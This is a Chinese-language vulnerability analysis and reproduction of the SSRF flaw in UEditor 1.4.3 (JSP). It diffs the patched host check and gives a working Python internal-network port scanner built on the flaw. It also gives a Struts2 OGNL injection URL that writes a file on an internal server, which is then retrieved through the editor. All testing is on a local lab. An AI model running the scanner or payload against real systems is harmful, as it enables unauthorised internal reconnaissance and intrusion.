UEditor SSRF漏洞分析與復現
前些時間測試的時候遇到了一個系統採用了UEditor編輯器,版本為1.4.3。已知該編輯器v1.4.3版本存在SSRF漏洞,雖然是Bool型的SSRF,除了可以進行內網探測外,也可以根據web應用指紋信息,之後進行進一步的測試。
0x01前言
查看官方的更新日誌可以發現UEditor編輯器在版本1.4.3.1修復了SSRF漏洞。
0x02漏洞分析
那我們需要查看版本1.4.3與1.4.3.1有什麼不同,從而找到存在問題的地方。該項目的代碼託管在Github上,地址為:https://github.com/fex-team/ueditor/。
查看版本1.4.3.1下的jsp代碼.
可以發現在該版本有一次commit,commitId為a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6。根據字面意思應該是增加了修復SSRF的代碼。
下載下來後對比一下v1.4.3.1和v1.4.3代碼有什麼不同(這裡僅對比jsp下的代碼)。
發現在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。
privatebooleanvalidHost(Stringhostname) {
try{
InetAddressip=InetAddress.getByName(hostname);//根據主機名獲取ip
if(ip.isSiteLocalAddress()) {//是否為地區本地地址
returnfalse;
}
}catch(UnknownHostExceptione) {
returnfalse;
}
return!filters.contains( hostname );
}
新增了對ip地址是否為內部地址的判斷。而在v1.4.3中僅僅是做了是否為過濾的ip地址。
privatebooleanvalidHost(Stringhostname) {
return!filters.contains( hostname );
}
isSiteLocalAddress方法作用是當IP地址是地區本地地址(SiteLocalAddress)時返回true,否則返回false。
IPv4的地址本地地址分為三段:10.0.0.0~ 10.255.255.255、172.16.0.0 ~ 172.31.255.255、192.168.0.0 ~192.168.255.255。
搜索後發現在captureRemoteData中調用了validHost方法。
根據代碼可以分析:首先使用validHost對url進行判斷,如果不合法,就提示「被阻止的遠程主機」;當滿足條件後會使用validContentState方法查看返回的狀態是否為200,若不為200,則提示「遠程連接出錯」;進而對後綴、文件大小進行判斷,都符合之後才進行圖片的保存。如果url無法訪問,則提示「抓取遠程圖片失敗」。
所以可以根據返回的內容,來推斷該url對應的主機是否可以訪問。由於在版本v1.4.3中沒有對請求的主機進行驗證,從而造成了SSRF漏洞。
繼續查看在capture方法中調用了captureRemoteData。
publicStatecapture(String[] list ){
MultiStatestate=newMultiState(true);
for(Stringsource:list ) {
state.addState(captureRemoteData( source ));
}
returnstate;
在invoke中調用了capture.
publicStringinvoke() {
if( actionType ==null|| !ActionMap.mapping.containsKey(actionType ) ) {
returnnewBaseState(false,AppInfo.INVALID_ACTION).toJSONString();
}
...
Statestate=null;
intactionCode=ActionMap.getType(this.actionType);
...
switch( actionCode ) {
...
caseActionMap.CATCH_IMAGE:
conf =configManager.getConfig(actionCode );
state =newImageHunter( conf ).capture( list );
break;
...
}
returnstate.toJSONString();
}
當調用capture需要滿足條件為actionCode為ActionMap.CATCH_IMAGE,在ActionMap中value為ActionMap.CATCH_IMAGE對應的key為catchimage。所以當actionType值為catchimage,即action參數對應為catchimage時,才可能觸發SSRF漏洞。下面對漏洞進行驗證。
0x03漏洞驗證
這裡用的是v1.4.3 jsp版本,下載ueditor1_4_3-utf8-jsp.zip,之後進行配置(可以參考http://fex.baidu.com/ueditor/#server-jsp)。
功能實現的入口文件是jsp/controller.jsp。由上述分析可知需要滿足action參數為catchimage。
在case ActionMap.CATCH_IMAGE中下斷點,然後進行調試。
訪問鏈接http://localhost:8088/jsp/controller.jsp?action=catchimage
繼續運行發現list為空,然後就拋出了異常。
再次運行,查看list數據從何而來。
可以看出list的數據從瀏覽器source[]參數而來。這裡source[]需要後綴為圖片格式,具體可以查看config.js中的catcherAllowFiles。
已知192.168.135.133開啟了tomcat服務,且埠為8080。我們這裡訪問一張不存在的圖片,例如用UUID生成一張圖片的名稱。
構造請求鏈接:http://localhost:8088/jsp/controller.jsp?action=catchimage&source[]=http://192.168.135.133:8080/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png
當進入validHost方法時,由於被訪問的主機地址不在過濾的範圍,所以返回true。
而該圖片由於不存在,所以狀態碼為404,到此抓取圖片過程結束,並返回結果。
這裡可以根據頁面返回的結果不同,來判斷該地址對應的主機埠是否開放。可以總結為以下幾點:
1.如果抓取不存在的圖片地址時,頁面返回{"state": "SUCCESS", list: [{"state":"u8fdcu7a0bu8fdeu63a5u51fau9519"} ]},即state為「遠程連接出錯」。
2.如果成功抓取到圖片,頁面返回{"state": "SUCCESS", list: [{"state": "SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state為「SUCCESS」。
3.如果主機無法訪問,頁面返回{"state":"SUCCESS", list: [{"state": "u6293u53d6u8fdcu7a0bu56feu7247u5931u8d25"}]},即state為「抓取遠程圖片失敗」。
由於除了在config.js中的catcherLocalDomain配置了過濾的地址外,沒有針對內部地址進行過濾,所以可以根據抓取遠程圖片返回結果的不同,來進行內網的探測。
0x04代碼實現
由上述分析,根據返回包中的state進行判斷,當state為"遠程連接出錯"或者為「SUCCESS」時表示該主機存在,且對應的埠為開放狀態。
代碼如下:
__Date__="20180524"
"""
Usage:
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24
Python version: 3.6.2
requirements:IPy==0.83
"""
importsys
importjson
importrequests
fromIPyimportIP
defcheck(url,ip,port):
url ="%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png"%(url,ip,port)
res = requests.get(url)
result = res.text
result = result.replace("list",""list"")
res_json = json.loads(result)
state = res_json["list"][]["state"]
ifstate =="遠程連接出錯"orstate =="SUCCESS":
print(ip,port,"is Open")
defmain(url,ip):
ips = IP(ip)
ports = [80,8080]
foriinips:
forportinports:
check(url,i,port)
if__name__=="__main__":
url = sys.argv[1]
ip = sys.argv[2]
main(url,ip)
由於返回的結果為{"state": "SUCCESS", list: [{"state":"..."} ]}並不能直接用json來解析,需要將list替換為「list」後才可以作為json來解析。當然也可以直接使用burp來測試。
在實際測試中的測試結果如下:
0x05綜合利用
對於這樣的Bool型SSRF,頁面僅返回了狀態,而沒有更多別的信息,要想進一步利用,可以根據如下的思路:
內網探測->應用識別->攻擊Payload->查看結果
5.1 內網探測
首先進行內網探測,查看內網開放的主機和埠。這裡以本地為例。
執行命令:
python SSRF_Ueditor_jsp.pyhttp://localhost:8088/192.168.135.155
192.168.135.15580isOpen
192.168.135.1558080isOpen
發現埠80和8080開放,然後進行應用的識別。
5.2 應用識別
80埠由於沒有可以識別的特徵,所以未識別到應用的類型,而8080埠可以識別出來為tomcat伺服器。
然後嘗試查看是否可能存在Struts2漏洞。
5.3 攻擊Payload
由於在抓取遠程圖片時,會請求給出的URL地址,所以可以利用Struts2漏洞在內網伺服器(這裡為192.168.135.155)上寫入一個後綴為圖片格式(如png、jpg)的文件(因為只能抓取圖片格式的文件,所以這裡寫入了圖片後綴的文件),然後利用Ueditor抓取圖片的功能,將寫入的圖片文件抓取到ueditor伺服器中,然後訪問圖片查看攻擊結果。
首先寫文件,這裡利用Struts2漏洞在內網伺服器web項目下寫入一個名字為b5e592d2-ab5b-476d-865a-8299a0625490.png的文件,內容為Struts2_Test.png。
這裡之所以寫入內容為Struts2_Test.png,是由於在抓取圖片時會判斷圖片鏈接的後綴是否為圖片格式。當然還有其他的寫法,例如
http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(『com.opensymphony.xwork2.dispatcher.HttpServletRequest』),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B』b5e592d2-ab5b-476d-865a-8299a0625490.png』,%2523res%253d%2523context.get(『com.opensymphony.xwork2.dispatcher.HttpServletResponse』),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png也可以寫入。
然後再次利用Ueditor抓取遠程圖片的功能將寫入內網伺服器的「圖片文件」抓取下來,查看其內容。
這裡需要抓取的圖片地址為:http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png
由上圖可以看出,最後抓取的文件保存地址為:/ueditor/jsp/upload/image/20180525/1527181480175039672.png
5.4 查看結果
然後訪問http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png
查看是否攻擊成功。
表明攻擊成功。
0x06總結
由於UEditor在v1.4.3之前沒有加入對內部IP的限制,所以在使用抓取圖片的功能時,造成SSRF漏洞。可以進行內網伺服器的探測。然後根據內網伺服器的特徵(如/jmx-console/images/logo.gif,/tomcat.png),判斷其使用的組件,並猜測可能存在的漏洞,然後進行進一步的滲透。
TAG:獵戶安全實驗室 |